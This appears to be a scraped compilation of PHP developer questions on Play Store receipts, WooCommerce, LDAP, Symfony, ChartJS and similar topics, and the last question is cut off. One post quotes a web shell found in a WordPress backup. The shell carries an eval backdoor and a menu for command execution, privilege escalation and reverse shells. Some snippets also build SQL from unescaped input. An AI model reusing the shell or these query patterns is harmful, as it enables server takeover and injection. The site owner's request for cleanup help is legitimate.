Implementing receipt validations on playstore in-app purchase using purchase token

I have added store receipt validator library to implement validation, but I am not receiving any specific parameter that can denotes that it is valid or not.

Here is my code snippet:

       $googleClient = new \Google_Client();
        $scope = ['https://www.googleapis.com/auth/androidpublisher'];
        $googleClient->setApplicationName('Bullet Force');
        $googleClient->setScopes([\Google_Service_AndroidPublisher::ANDROIDPUBLISHER]);
        $pathToServiceAccountJsonFile = json_decode(Storage::disk('local')->get('keys/privateKey.json'), true);
        $googleClient->setAuthConfig($pathToServiceAccountJsonFile);
        $validator = new PlayValidator(new \Google_Service_AndroidPublisher($googleClient));

        // receipt data
        $packageName = 'xxx.xxxxxxxxxx.xxx';
        $productId = 'xxxx';
        $purchaseToken = 'PURCHASE_TOKEN';

        try {
            $response = $validator->setPackageName($packageName)
              ->setProductId($productId)
              ->setPurchaseToken($purchaseToken)
              ->validatePurchase();
        } 
        catch (\Exception $e){
            echo $e->getMessage().PHP_EOL;
        }

Response:

So as we see in the above response, there is no parameter based on which we can decide whether it is a valid transaction or not.

Please help me fixing this issue.

Thanks!!

from Implementing receipt validations on playstore in-app purchase using purchase token

Page does not loads when I try to show error massage php

I am trying to show a duplicate error on form but this function crashes the page and the page does not load. If possible please help me configure php.ini for this

this is the function with that i am trying to shows the error messages in form page

public function getError($error) {
    if(!in_array($error, $this->errorArray)) {
        $error = "";
    }
    return "<span class='errorMessage'>$error</span>";
}

This is the function which i am trying to use to get the error in the array

private function validateEmails($em) {
    $checkEmailQuery = mysqli_query($this->con,"SELECT email FROM member_forms WHERE email='$em'");
    if(mysqli_num_rows($checkEmailQuery) != 0){
        array_push($this->errorArray, Strings::$emExists);
    return;
    }
}

These functions double-check with the database and if an error occurs, <?php echo $account->getError(Strings::$emExists); ?> should display it, but it does not and the page doesn't load. When the error occurs it goes until the error but it does not render anything and the body of the HTML page goes empty

HTML

        <div class="form-group" style="padding-left: 0px;">
            <p>
                <?php echo $account->getError(Strings::$fnCharacters); ?>

                <div class="col-md-3 indent-small">
                    <div class="form-group internal">
                        <input class="form-control" id="firstName"
                            name="firstName" type="text"
                            placeholder="First Name"
                            style="width: 180%;/*! padding-right: ; */margin: 0px 0px 0px 12px;"
                            value="<?php getInputValue('firstName')?>" required>
                    </div>
                </div>

                <div class="col-md-3 indent-small"
                    style="margin-left: 15px;width: 25%;">
                    <div class="form-group internal">
                        <input class="form-control" id="lastName"
                            name="lastName" type="text" placeholder="Last Name"
                            style="width: 188%;/*! padding-left: 33px; */margin-left: 56px;"
                            value="<?php getInputValue('lastName')?>" required>
                    </div>
                </div>

            </div>
        </div>
    
        <div class="form-group">
            <label class="control-label col-md-2 col-md-offset-2" for="email"
                style="margin-left: 0;width: 28%;/*! float: left; */">E-mail
                Address</label>
            <div class="col-md-6">
                <div class="form-group">
                    <div class="col-md-11">
                        <p>
                            <?php echo $account->getError(Strings::$emExists); ?>
                            <input class="form-control" id="email" name="email"
                                type="email" placeholder="Your E-mail..."
                                style="width: 156%;"
                                required>
                        </p>
                    </div>
                </div>
            </div>
        </div>
        

from Page does not loads when I try to show error massage php

WordPress Backup Extraction on Windows. Threat Found. Exploit:JS/ShellCode.gen

Windows Defender discovered a threat while I was extracting a WordPress backup of my live site onto my localhost.

The warning is Exploit:JS/ShellCode.gen and here is a screenshot of my warning page.

So I had a closer look at that file caches_data_thumb.php.

This is inside the directory "ppom" files. Putting PPOM into google shows this was a plugin which was installed a while back to add extra options for WooCommerce products. This plugin was removed a while ago shortly after it was installed however the directories are still here.

I opened caches_data_thumb.php in my editor and it's got some dodgy code in it with chinese characters, see below:

<?php
header("Content-type:text/html;charset=gbk");
$password='wp_caches';
$shellname='Hello By xxxx';
$myurl=null;
error_reporting(0);
ob_start();
define('myaddress',$_SERVER['SCRIPT_FILENAME']);
define('postpass',$password);
define('shellname',$shellname);
define('myurl',$myurl);
if(@get_magic_quotes_gpc()){
    foreach($_POST as $k => $v) $_POST[$k] = stripslashes($v);
    foreach($_GET as $k => $v) $_GET[$k] = stripslashes($v);
}
if(isset($_REQUEST[postpass])){
hmlogin(2);
@eval($_REQUEST[postpass]);
exit;}
if($_COOKIE['postpass'] != md5(postpass)){
    if($_POST['postpass']){
        if($_POST['postpass'] == postpass){
            setcookie('postpass',md5($_POST['postpass']));
            hmlogin();
        }else{
            echo '<CENTER>用户或密码错误</CENTER>';
        }
    }
    islogin($shellname,$myurl);
    exit;
}
if(isset($_GET['down'])) do_down($_GET['down']);
if(isset($_GET['pack'])){
    $dir = do_show($_GET['pack']);
    $zip = new eanver($dir);
    $out = $zip->out;
    do_download($out,$_SERVER['HTTP_HOST'].".tar.gz");
}
if(isset($_GET['unzip'])){
    css_main();
    start_unzip($_GET['unzip'],$_GET['unzip'],$_GET['todir']);
    exit;
}
define('root_dir',str_replace('\\','/',dirname(myaddress)).'/');
define('run_win',substr(PHP_OS, 0, 3) == "WIN");
define('my_shell',str_path(root_dir.$_SERVER['SCRIPT_NAME']));
$eanver = isset($_GET['eanver']) ? $_GET['eanver'] : "";
$doing = isset($_POST['doing']) ? $_POST['doing'] : "";
$path = isset($_GET['path']) ? $_GET['path'] : root_dir;
$name = isset($_POST['name']) ? $_POST['name'] : "";
$img = isset($_GET['img']) ? $_GET['img'] : "";
$p = isset($_GET['p']) ? $_GET['p'] : "";
$pp = urlencode(dirname($p));
if($img) css_img($img);
if($eanver == "phpinfo") die(phpinfo());
if($eanver == 'logout'){
    setcookie('postpass',null);
    die('<meta http-equiv="refresh" content="0;URL=?">');
}
$class = array(
"信息操作" => array("upfiles" => "上传文件","phpinfo" => "基本信息","info_f" => "系统信息","phpcode" => "执行PHP脚本"),
"提权工具" => array("sqlshell" => "执行SQL执行","mysql_exec" => "MYSQL操作","myexp" => "MYSQL提权","servu" => "Serv-U提权","cmd" => "执行命令","linux" => "反弹提权","downloader" => "文件下载","port" => "端口扫描"),
"批量操作" => array("guama" => "批量挂马清马","tihuan" => "批量替换内容","scanfile" => "批量搜索文

etc etc, goes on for 100s of lines...

Inside that directory there is other code too. An index.html with html for a landing page for a roof replacement company!

This leads me to believe this plugin has added malicious code to SEO another company.

Now my question is, who do I go to to complain? The plugin? And how do I vouch for the integrity of my WooCommerce site and clean up this mess? And who's to say there isn't more of this garbage hiding out in sub-folders of sub-folders!

from WordPress Backup Extraction on Windows. Threat Found. Exploit:JS/ShellCode.gen

Codeigniter: problem extending Database Driver

Im using Codeigniter 2.x and been trying to extend the database class and followed the wiki but im getting this error:

Fatal error: Uncaught Error: Call to undefined method MY_DB_mysqli_driver::where() in /system/libraries/Session.php on line 218

Error: Call to undefined method MY_DB_mysqli_driver::where() in /system/libraries/Session.php on line 218

On line 218 of /system/libraries/Session.php:

$this->CI->db->where('session_id', $session['session_id']); 

My extended class is just the example from the wiki:

<?php
class MY_DB_mysqli_driver extends CI_DB_mysqli_driver
{
    public function __construct($params)
    {
        parent::__construct($params);
        log_message('debug', 'Extended DB driver class instantiated!');
    }

    public function get_first($table)
    {
        return $this->limit(1)->get($table);
    }
} 

from Codeigniter: problem extending Database Driver

Creating Woocommerce products pragmatically from json data, Variation product not working

Product variation not working, woocommerce version 4.6.2 Using zapiex API to fetch aliexpress product.

Frontend screenshot

Backend screenshot

code is working for creating new products with attributes and variations. all are working fine except the variation doesn't set properly. Please check the screenshot of the frontend and backend. You will find the API json sample aliexpress data from the zapiex documentation.

Any help is appreciated.

Code:

$response = $data['data'];
$shipping = $response["shipping"]["carriers"];

if ($response["hasVariations"]){
    $objProduct = new WC_Product_Variable();
} else{
    $objProduct = new WC_Product();
}

$objProduct->set_name($response["title"]);
$objProduct->set_status("publish");  // can be publish,draft or any wordpress post status
$objProduct->set_catalog_visibility('visible'); // add the product visibility status
$objProduct->set_description($response["htmlDescription"]);
$objProduct->set_sku($response["productId"]); //can be blank in case you don't have sku, but You can't add duplicate sku's
$objProduct->set_manage_stock(true); // true or false
$objProduct->set_stock_quantity($response["totalStock"]);
$objProduct->set_stock_status('instock'); // in stock or out of stock value
$objProduct->set_backorders('no');
$objProduct->set_reviews_allowed(true);
$objProduct->set_sold_individually(false);

if($response['hasSinglePrice']){
    $objProduct->set_regular_price($response['price']['web']['originalPrice']['value']); 
    if($response['price']['web']['hasDiscount']){
        $objProduct->set_sale_price($response['price']['web']['discountedPrice']['value']);
    }
}


$objProduct->set_category_ids(array(recentSearchCatID()));
// set attributes
$attributes= array();
$i= 0;
if($response['hasAttributes']){
    
    foreach($response["attributes"] as $attr){
        $att = array('id'=>0, 'name'=>$attr['name'], 'options'=>array($attr['value']['name']), 'visible'=> true, 'position'=>$i, 'variation'=>false );
        $attributes[]= create_attributes($att);
        $i++;
    }

}
if($response['hasProperties']){
    
    foreach($response["properties"] as $attr){
        
        $att = array('id'=>0, 'name'=>$attr['name'], 'visible'=> true, 'position'=>$i, 'variation'=>true );
        $options = array();
        foreach($attr['values'] as $opt){
            $options[]=$opt['name'];
        }
        $att['options']=$options;
        $attributes[]= create_attributes($att);
        $i++;
    }
    
}

$objProduct->set_attributes( $attributes );
$product_id = $objProduct->save();
if($response['hasVariations']) {
    foreach($response['variations'] as $vp) {
        $variation = new WC_Product_Variation();
        $variation->set_parent_id( $product_id );
        $props = array();
        foreach($vp['properties'] as $vpp){
            $props['pa_'.wc_sanitize_taxonomy_name($vpp['name'])] = wc_sanitize_taxonomy_name($vpp['value']['name']);
        }
        
        $variation->set_attributes($props);
        $variation->set_status('publish');
        $variation->set_sku($vp['sku']);
        
        if (array_key_exists("price",$vp)){
            $regularPrice = round($vp["price"]["web"]["originalPrice"]["value"]);
            $variation->set_regular_price($regularPrice);
            $discountPrice = NULL;
            if ($vp["price"]["web"]["hasDiscount"]){
                $discountPrice = round($vp["price"]["web"]["discountedPrice"]["value"]);
                $variation->set_sale_price($discountPrice);
            }
        }
        
        $variation->set_stock_status();
        $variation->set_stock_quantity(10);
        $variation->save();
        $product = wc_get_product($product_id);
        $product->save();
    }                    
    
}

exit();

from Creating Woocommerce products pragmatically from json data, Variation product not working

Mwdiawiki new setup: Could not successfully connect to an LDAP server

We are unable to connect to AS Server, our config need some correction. below are details of our config & error.

We have some confusion on the configuration. Please correct us.

1. require_once should be LdapAuthenticationRequest.php or LdapAuthentication.php
2. if we uncomment "$wgAuth = new LdapAuthenticationPlugin();" mediawiki webpage goes blank.
3. what else we need to check or enable eg extension's?

MediaWiki version 1.333
PHP version 7.2.34
Database type and version 5.7.31

LocalSettings.php

#AD Configuration

require_once ("extensions/LdapAuth/src/Auth/LdapAuthenticationRequest.php");

#$wgAuth = new LdapAuthenticationPlugin();

$wgLDAPDomainNames = array('ORG.DEP.CO.IN');

$wgLDAPServerNames = array('ORG.DEP.CO.IN' => 'DEP-A01.ORG.DEP.CO.IN');

$wgLDAPSearchStrings = array('ORG.DEP.CO.IN' => 'uid=wikiuser,OU=Service Accounts,DC=ORG,DC=DEP,DC=CO,DC=IN');

$wgLDAPEncryptionType = array('ORG.DEP.CO.IN' => 'none');

$wgLDAPUseLocal = false;

$wgMinimalPasswordLength = 1;

$wgLDAPDebug = 3; //for debugging LDAP

$wgShowExceptionDetails = true; //for debugging MediaWiki

$wgShowDBErrorBacktrace = true;

$wgShowSQLErrors = true;

$wgDebugLogFile = '../tmp/ldapdebug.log';


wfLoadExtension( 'LdapAuth' );

$wgLdapAuthDomainNames = array('ORG.DEP.CO.IN','DEP-A01.ORG.DEP.CO.IN');

$wgLdapAuthServers = 'inter_ip';

$wgLdapAuthBindDN = 'CN=wikiuser,OU=Service Accounts,DC=ORG,DC=DEP,DC=CO,DC=IN';

$wgLdapAuthBindPass = 'password';

$wgLdapAuthBaseDN = 'OU=Users,DC=ORG,DC=DEP,DC=CO,DC=IN';

$wgLdapAuthIsActiveDirectory = true;

/tmp/ldapdebug.log error

[error] [X6V8pJ@ftlsqOlm9HnuXbgAAAAQ] /index.php?title=Special:UserLogin   ErrorException from line 370 of /home/wikiDEPco/public_html/extensions/LdapAuth/src/Auth/PrimaryAuthenticationProvider.php: PHP Warning: Illegal string offset 'ORG.DEP.CO.IN'

[error] [X6V8pJ@ftlsqOlm9HnuXbgAAAAQ] /index.php?title=Special:UserLogin   ErrorException from line 371 of /home/wikiDEPco/public_html/extensions/LdapAuth/src/Auth/PrimaryAuthenticationProvider.php: PHP Warning: Illegal string offset 'ORG.DEP.CO.IN'

[error] [X6V8pJ@ftlsqOlm9HnuXbgAAAAQ] /index.php?title=Special:UserLogin   ErrorException from line 372 of /home/wikiDEPco/public_html/extensions/LdapAuth/src/Auth/PrimaryAuthenticationProvider.php: PHP Warning: Illegal string offset 'ORG.DEP.CO.IN'

[DBQuery] SELECT  lc_value  FROM `DEP_l10n_cache`    WHERE lc_lang = 'en' AND lc_key = 'messages:ldapauth-attempt-bind-dn-search'  LIMIT 1

[authentication] Attempting to bind to LDAP for search with DN "C@ORG.DEP.CO.IN".

[error] [X6V8pJ@ftlsqOlm9HnuXbgAAAAQ] /index.php?title=Special:UserLogin   ErrorException from line 388 of /home/wikiDEPco/public_html/extensions/LdapAuth/src/Auth/PrimaryAuthenticationProvider.php: PHP Warning: Invalid argument supplied for foreach()

from Mwdiawiki new setup: Could not successfully connect to an LDAP server

PHP - How to set a Priority value of Cookie to High, Low or Medium?

As I have more than 20 cookies on my site I want to define priority to high for cookies set by my script so that other low and medium priority cookies set by analytics and ads will be deleted automatically when count reaches more than 20.  More than 99% of my users use google chrome so i don't care about other browsers. So, Is there a way to set cookie priority in php ?

Please help me out, Thanks in advance.

from PHP - How to set a Priority value of Cookie to High, Low or Medium?

How to download a file using curl in php?

How can I use Curl to download a file in PHP if the headers are set to true? can I also get the filename and extension of file?

Example PHP code:

curl_setopt ($ch, CURLOPT_HEADER, 1);
$fp = fopen($strFilePath, 'w');
curl_setopt($ch, CURLOPT_FILE, $fp);

from How to download a file using curl in php?

laravel iteration adding value to the next user if the user rank does not exist

I have function that will insert an amount to the users up to the last rank based on parent_id. I can get the parent_id up to the last rank, its fine and I'm using an iteration or something like recursion. But I can't add the amount if the user rank is not present.

The expected result of the function is to insert an amount to each User Rank, but if the iteration/recursion didn't find a user with the rank the amount to be inserted to him will be added on the next user rank.

The function will trigger once a user bought a product, so whoever user buy a product it will get his parent_id and insert the amount assigned to that rank.

I have a list of rank in order who will receive the amount.

Basic - 50
Junior - 100
Premium - 150
Advanced - 200
Senior - 250

Database:

+------+------------+-------------+------------+
|  id  |  username  |  parent_id  |   rank     |
+------+------------+-------------+------------+
|  1   |   john     |    NULL     |  Senior    |
|  2   |   jane     |    1        |  Advanced  |
|  3   |   josh     |    2        |  Premium   |
|  4   |   joey     |    3        |  Junior    |
|  5   |   jade     |    4        |  Basic     |
------------------------------------------------

For example:

Jade bought an item, once the order is success I will call the function to insert the earnings.

In this scenario Joey, Josh, Jane and John will received their earnings based on the corresponding amount of their rank.

This is working fine in this scenario because all the ranks are present, but my problem is to add the amount set to rank if the user is not in the iteration,

For example, Joey with the rank - Junior is not in the iteration, the amount designated to him which is 100 will be added on the next rank which is the Premium, and proceed the earnings insertion on the next ranks, but prevent adding the amount to them, because the amount should only be added to the next rank if the user with that rank is not present in the iteration.

// successfully bought a product and saved to database

$user_id = 5; // jade
$parent_id = 4;
    
// call the function to insert the earnings

self::insertEarnings($user_id,$parent_id);

This is the function that will insert the earnings:

private function insertEarnings($user_id,$parent_id) {

    if ($parent_id > 0) {
        
        $user_parent = $parent_id;
        
        $has_parent = true;
        
        // start iteration
        while($has_parent == true){
            
            $account = User::where('id',$user_parent)->first();
            
            $amount = 0;

            if ($account->rank == "Junior" ) {
                
                $amount = 100;
                    
            } elseif ($account->rank == "Premium") {

                $amount = 150;

            } elseif ($account->rank == "Advanced") {

                $amount = 200;
                
            } elseif ($account->rank == "Senior") {

                $amount = 250;
                
                // set to false to stop the iteration
                $has_parent = false;
            }

            $earnings = new Earnings;
            $earnings->user_id = $account->id;
            $earnings->amount = $amount;
            $earnings->save();
                    
            $next_parent = User::where('id',$user_parent)->first();
            $user_parent = $next_parent->parent_id;

            if($user_parent == 0){
                $has_parent = false;
            }
        }
    }
}

The earnings was inserted to Joey, Josh, Jane and John because they are all present in the iteration, the real question is, how to insert the amount assigned to the rank if he is not present in the iteration.

EDIT:

Please someone help me? I can't really make a solution for this code. Adding the amount to the next user rank if the rank is not found in the iteration/loop.

Jade order a product, let's assume it is successful. Now I will trigger the insertEarnings function. I will get his parent_id which is Joey,

Joey will get an amount of 100, also Josh, Jane and John they will get an amount according to their rank.

The main problem is what if someone is NOT in the iteration/loop, the amount for that rank whatever that rank is will be added to the next rank.

from laravel iteration adding value to the next user if the user rank does not exist

How to upload a video to Facebook as "Premiere"

This answer describes how to upload a video to Facebook as a scheduled video.

I am now looking how to publish a video as a "Premiere".

Differences between live, scheduled video, and premieres:

• A live video is being broadcast via RTMP, concurrently.
• A scheduled video is pre-uploaded in its entirety. After the
  scheduled time, the user can skip to any point in the video.
• A "premiere" is pre-uploaded in its entirety. After the scheduled
  time, Facebook simulates a broadcast. The user cannot skip ahead.

What's the proper parameter to set up the video as "Premiere"?

from How to upload a video to Facebook as "Premiere"

How to append a select dropdown to a HTML DataTable?

I have created a website mainly using HTML, CSS, PHP and MYSQL and I added a select dropdown with roles for to users to choose from. I need it to be on every row of users in the table. I have successfully gotten tabledit working on the site, but I am not sure how to append this dropdown to the Roles column.

This is how the HTML is set up

<body>
    <div class="panel panel-default">
        <!--        <div class="panel-heading">Sample Data</div>-->
        <div class="panel-body">
            <div class="table-responsive">
                <table id="sample_data" class="table table-bordered table-striped">
                    <thead>
                    <tr>
                        <th>ID</th>
                        <th>First Name</th>
                        <th>Last Name</th>
                        <th>Email</th>
                        <th>Approval</th>
                        <th>Roles</th>
                    </tr>
                    </thead>
                    <tbody>
                    </tbody>
                </table>
            </div>
        </div>
    </div>

<!--SELECT DROPDOWN LIST-->
<select id="test">
    <?php
    for ($a = 1; $a <= $count ; $a++){
        ?>

        <option value="1"><?php echo($roles[($a-1)]);?></option>

        <?php
    }
    ?>
</select>
<!--//////////////-->
</body>

<script>
    $(document).ready(function(){

        var dataTable = $('#sample_data').DataTable({
            "processing" : true,
            "serverSide" : true,
            "order" : [],
            "ajax" : {
                url:"FetchUserTable.php",
                type:"POST"
            }
        });

        $('#sample_data').on('draw.dt', function(){
            $('#sample_data').Tabledit({
                url:'ActionUserTable.php',
                dataType:'json',
                columns:{
                    identifier : [0, 'user_id'],
                    editable:[
                        [1, 'first_name'],
                        [2, 'last_name'],
                        [3, 'email'],
                        [4, 'admin_approved', '{"1":"Approved","2":"Disapproved"}']
                        // [5, 'role_id']
                    ]
                },
                restoreButton:false,
                onSuccess:function(data, textStatus, jqXHR)
                {
                    if(data.action == 'delete')
                    {
                        $('#' + data.id).remove();
                        $('#sample_data').DataTable().ajax.reload();
                    }
                }
            });
        });

    });

from How to append a select dropdown to a HTML DataTable?

Associative array key becomes param in XML when passed to SoapClient

I have an associative array:

$params = [
  'trid' => null,
  'merchantCode' => null,
  'paymentMethod' => null,
  'returnUrl' => site_url(null),
  'notificationUrl' => site_url(null),
  'language' => 'null',
  'currency' => 'null',
  'isTestMode' => false,
  'productsXml' => null,
  'needInvoice' => true,

(Nulls hold actual values in reality)

When I check __getLastRequest I completly lose the keys in the generated XML.

SoapClient,

    $soap = new SoapClient(null, $options);
    $soap->__soapCall('Request', $params);
    $request = $soap->__getLastRequest();

Please note that I have a NON WSDL connection to the endpoint.

The generated XML will have a field value of <param[keyNum] xsi:type="xsd:typeOfVariable"> instead of having the actual key value from the associative array, <trid> for example.

<SOAP-ENV:Body><ns1:Request><param0 xsi:type="xsd:string">null</param0><param1 xsi:type="xsd:string">null</param1></Request>

from Associative array key becomes param in XML when passed to SoapClient

How to pickup old session handling from Drupal after using SimpleSAMLphp?

Code example:

<?php

require_once(DRUPAL_ROOT . '/simplesaml/lib/_autoload.php');
session_write_close();
session_set_save_handler(new SessionHandler(), true);
$as = new \SimpleSAML\Auth\Simple('default-sp');
$as->requireAuth();
$attributes = $as->getAttributes();

$samlSession = \SimpleSAML\Session::getSessionFromRequest();
$samlSession->cleanup();


$_SESSION['saml'] = $attributes; // <-- this does not work, since altering $_SESSION at this point is useless. reading out $_SESSION on a another page does not have anything saved after calling the SimpleSAMLphp functions

---

We are using SimpleSAMLphp on our website as SP to use with a Shibboleth IDP. The server cant run the apache modules or memcache so we need to use PHP sessions. On the simplesamlphp documentation it says:

If we are using PHP sessions in SimpleSAMLphp and in the application we are protecting, SimpleSAMLphp will close any existing session when invoked for the first time, and its own session will prevail afterwards. If you want to restore your own session after calling SimpleSAMLphp, you can do so by cleaning up the session like this:

$session = \SimpleSAML\Session::getSessionFromRequest();
$session->cleanup();

If you don't cleanup SimpleSAMLphp's session and try to use $_SESSION afterwards, you won't be using your own session and all your data is likely to get lost or inaccessible.

The problem is, that is exactly the issue we are facing. Whatever I write into $_SESSION after loading the SSP files is lost at the new page request.

Now, we are using Drupal 7. I dont know how to implement the documentation code in a Drupal environment:

// use custom save handler
session_set_save_handler($handler); // what is this? what is $handler?
session_start();

// close session and restore default handler
session_write_close();
session_set_save_handler(new SessionHandler(), true);

// use SimpleSAML\Session
$session = \SimpleSAML\Session::getSessionFromRequest();
$session->cleanup();
session_write_close();

// back to custom save handler
session_set_save_handler($handler); // how do i get the Drupal handler?
session_start();

So how do I implement the session swapping in a Drupal 7 environment? Or generally, how do I get a session handler/ reference?

Drupal itself does this at some point in session.inc:

session_set_save_handler('_drupal_session_open', '_drupal_session_close', '_drupal_session_read', '_drupal_session_write', '_drupal_session_destroy', '_drupal_session_garbage_collection');

But calling any Drupal session function didnt work, $_SESSION was always unwritable (or rather didnt actually save) after using SimpleSAMLphp.

from How to pickup old session handling from Drupal after using SimpleSAMLphp?

Add TINYINT to Doctrine SQL types

Following Symfony doc, I tried to add TINYINT as entity column type.

So far it works well, but two problem remain...

1. Each time I want to perform a migration, Doctrine can't reconize TINYINT for the associated columns, and perform the migration queries again.

2. In form builders, by default TINYINT is reconized as TextType and not NumberType

Do you know what I'm missing to fix those two issues?

TinyintType.php

use Doctrine\DBAL\ParameterType;
use Doctrine\DBAL\Platforms\AbstractPlatform;
use Doctrine\DBAL\Types\Type;

class TinyintType extends Type {
    const TINYINT='tinyint';

    /**
     * @return string
     */
    public function getName() {
        return self::TINYINT;
    }

    /**
     * @param array $fieldDeclaration
     * @param AbstractPlatform $platform
     * @return string
     */
    public function getSQLDeclaration(array $fieldDeclaration, AbstractPlatform $platform) {
        return $fieldDeclaration['unsigned'] === true ? 'TINYINT(1) UNSIGNED' : 'TINYINT(1)';
    }

    public function canRequireSQLConversion() {
        return true;
    }

    /**
     * @param $value
     * @param AbstractPlatform $platform
     * @return int|null
     */
    public function convertToPHPValue($value, AbstractPlatform $platform) {
        return $value === null ? null : (int)$value;
    }

    /**
     * @param mixed $value
     * @param AbstractPlatform $platform
     * @return int|mixed|null
     */
    public function convertToDatabaseValue($value, AbstractPlatform $platform) {
        return $value === null ? null : (int)$value;
    }

    /**
     * @return int
     */
    public function getBindingType() {
        return ParameterType::INTEGER;
    }
}

doctrine.yaml

doctrine:
    dbal:
        url: '%env(resolve:DATABASE_URL)%'
        server_version: '5.7'
        types:
            tinyint: 'App\Doctrine\DBAL\Types\TinyintType'
    orm:
        auto_generate_proxy_classes: true
        naming_strategy: doctrine.orm.naming_strategy.underscore_number_aware
        auto_mapping: true
        mappings:
            App:
                is_bundle: false
                type: annotation
                dir: '%kernel.project_dir%/src/Entity'
                prefix: 'App\Entity'
                alias: App

from Add TINYINT to Doctrine SQL types

Deserialize JSON into an array of class instances using Symfony Serializer

I'm trying to deserialize JSON into a DTO class, which has a property types as NestedDto[]. Unfortunately, the objects inside the array are deserialized as arrays, not instances of NestedDto. My DTO classes are like:

class TestDto
{
    /**
    * @var NestedDto
    */
    public NestedDto $c;

    /**
     * @var NestedDto[] $cs
     */
    public array $cs;
}

class NestedDto
{
    public string $s;
}

The code that orchestrates this use-case (I will show the code for the serializer at the end of the question):

function main() {
    $serializer = new JsonSerializer();
    $json = '{"c":{"s":"nested"},"cs":[{"s":"nested1"},{"s":"nested2"}]}';
    $dto = $serializer->fromJSON(TestDto::class, $json);
    echo '<pre>' . print_r($dto, true) . '</pre>';
    $response = $serializer->toJSON($dto);
    exit($response);
}

You can see that the property c is a proper NestedDto, but inside the cs array we have two arrays instead of two NestedDto instances.

TestDto Object
(
    [c] => NestedDto Object
        (
            [s] => nested
        )

    [cs] => Array
        (
            [0] => Array
                (
                    [s] => nested1
                )
            [1] => Array
                (
                    [s] => nested2
                )
        )
)

Here is the code for the JsonSerializer class which is a wrapper around the Symfony serializer:

final class JsonSerializer
{

    private Serializer $serializer;
    private ValidatorInterface $validator;

    /**
     * JsonSerializer constructor.
     */
    public function __construct()
    {
        $encoders = [new JsonEncoder()];

        $classMetadataFactory = new ClassMetadataFactory(new AnnotationLoader(new AnnotationReader()));
        $normalizers = [
            new ObjectNormalizer($classMetadataFactory, NULL, NULL, new ReflectionExtractor()),
            new ArrayDenormalizer(),
            new DateTimeNormalizer(),
        ];

        $this->serializer = new Serializer($normalizers, $encoders);
        $this->validator = Validation::createValidatorBuilder()->enableAnnotationMapping()->getValidator();
    }

    /**
     * Create a DTO class from json. Will also auto-validate the DTO.
     * @param $classFQN string The class FQN, e.g. \App\Something\CreateQuoteDTO::class
     * @param $json string The string containing JSON we will use for the DTO.
     * @return array|mixed|object An instance of the $class.
     */
    public function fromJSON( string $classFQN, string $json )
    {
        $instance = $this->serializer->deserialize($json, $classFQN, 'json');
        $errors = $this->validator->validate($instance);
        if (count($errors) > 0) {
            throw new \RuntimeException('Invalid DTO.');
        }

        return $instance;
    }

    /**
     * Convert a class instance to JSON string
     * @param $object
     * @return string
     */
    public function toJSON( $object ) : string
    {
        return $this->serializer->serialize($object, 'json');
    }

}

I have read all of the similar questions on Stack Overflow, but I fail to find what is missing in my code. My guess is something isn't wired up correctly in the normalizers used in JsonSerializer, but after spending an inordinate amount of time on this, I'm out of clues.

Here's all the code in a sandbox where you can run it: phpsandbox.io

Just in case, the packages I've required with composer for this example are:

"symfony/serializer-pack": "*",
"symfony/validator": "*",
"doctrine/annotations": "*",
"doctrine/cache": "*",

from Deserialize JSON into an array of class instances using Symfony Serializer

Filter ChartJS using data from PHP

I would like to filter my chart by month so I made a <select> input above it. The chart is showing properly but when I changed the month options, the data is not updating based on the value selected. Here's what I've done so far:

index.php

<div class="row form-group">
  <select class="form-control col-lg-4" name="month">
   <option selected="selected" style="display:none"><?php echo date("F");?></option>
   <option value="9">September</option>
   <option value="10">October</option>
  </select>
</div> 
<canvas id="chart"></canvas>

<script>
  window.onload = function() {
  $.ajax({
  type: 'POST',
  url: 'data.php ',
  datatype: 'json',
                
  success: function (result) {
    var ctx = document.getElementById("chart").getContext("2d");
    var mychart = new Chart(ctx,
      {
      type: 'bar',
      data: JSON.parse(result),
      options: {
      scales: {
        xAxes: [{ stacked: true }],
        yAxes: [{ stacked: true }]
      }
     }
    })
   }
  })};
 </script>

data.php

<?php
$conn = mysqli_connect("localhost","root","","production");

$month = '';

if(isset($_POST["month"]))  
    {  
    $month = $_POST["month"];  
      }  else {  
    $month = date('m');  
    }  

$query = "SELECT finish_date,
        SUM(CASE WHEN customer_type = 'customer_A' THEN order_qty ELSE 0 END) AS custom_A,
        SUM(CASE WHEN customer_type = 'customer_B' THEN order_qty ELSE 0 END) AS custom_B,
        SUM(CASE WHEN customer_type = 'customer_C' THEN order_qty ELSE 0 END) AS custom_C
            FROM production WHERE MONTH(finish_date) = ".$month." GROUP BY finish_date ORDER BY finish_date ASC";

if ($stmt = $conn->prepare($query)) {
    $stmt->execute();
    $stmt->bind_result($date, $custom_A, $custom_B, $custom_C);            

    $labels = array();
    $data_A = array();
    $data_B = array();
    $data_C = array();

    while ($stmt->fetch()) {
        $labels[] = $date;
        $data_A[] = $custom_A;
        $data_B[] = $custom_B;
        $data_C[] = $custom_C;
    }
        $stmt->close();
}

$datasets_A = array('label'=>"A",'data'=> $data_A,'backgroundColor'=>"#D6E9C6");
$datasets_B = array('label'=>"B",'data'=> $data_B,'backgroundColor'=>"#FAEBCC");
$datasets_C = array('label'=>"C",'data'=> $data_C,'backgroundColor'=>"#EBCCD1");

$data = array('labels'=>$labels, 'datasets'=> array($datasets_A,$datasets_B,$datasets_C));

echo json_encode($data);

?>

How can I make it work? I must have miss something but not sure what it is since I'm not getting any error message.

from Filter ChartJS using data from PHP

Intelephense stub won't load in CakePHP 2

I have some helper functions that I use everywhere in a CakePHP 2 application. They are underlined with red and reported as 'undefined functions' in the console. I know I can just ignore the errors, but I would like to have it working properly going forward, especially if I can manage to get alt-click working with it for models.

In my VS Code settings.json, I have the following:

"intelephense.stubs": [
        "apache", "bcmath", "bz2", "calendar", "com_dotnet", "Core", "ctype", "curl", "date", "dba", "dom", "enchant", "exif", "FFI", "fileinfo", "filter", "fpm", "ftp", "gd", "gettext", "gmp", "hash", "iconv", "imap", "intl", "json", "ldap", "libxml", "mbstring", "meta", "mysqli", "oci8", "odbc", "openssl", "pcntl", "pcre", "PDO", "pdo_ibm", "pdo_mysql", "pdo_pgsql", "pdo_sqlite", "pgsql", "Phar", "posix", "pspell", "readline", "Reflection", "session", "shmop", "SimpleXML", "snmp", "soap", "sockets", "sodium", "SPL", "sqlite3", "standard", "superglobals", "sysvmsg", "sysvsem", "sysvshm", "tidy", "tokenizer", "xml", "xmlreader", "xmlrpc", "xmlwriter", "xsl", "Zend OPcache", "zip", "zlib", "wordpress",
        "./Config/core.php"
    ],

It's my understanding that it is allowed to import custom .php files as stubs so that Intelephense recognizes them. However, no path that I enter will work. I have tried everything I can think of:

1. C:/wamp64/www/MY_APP/app/
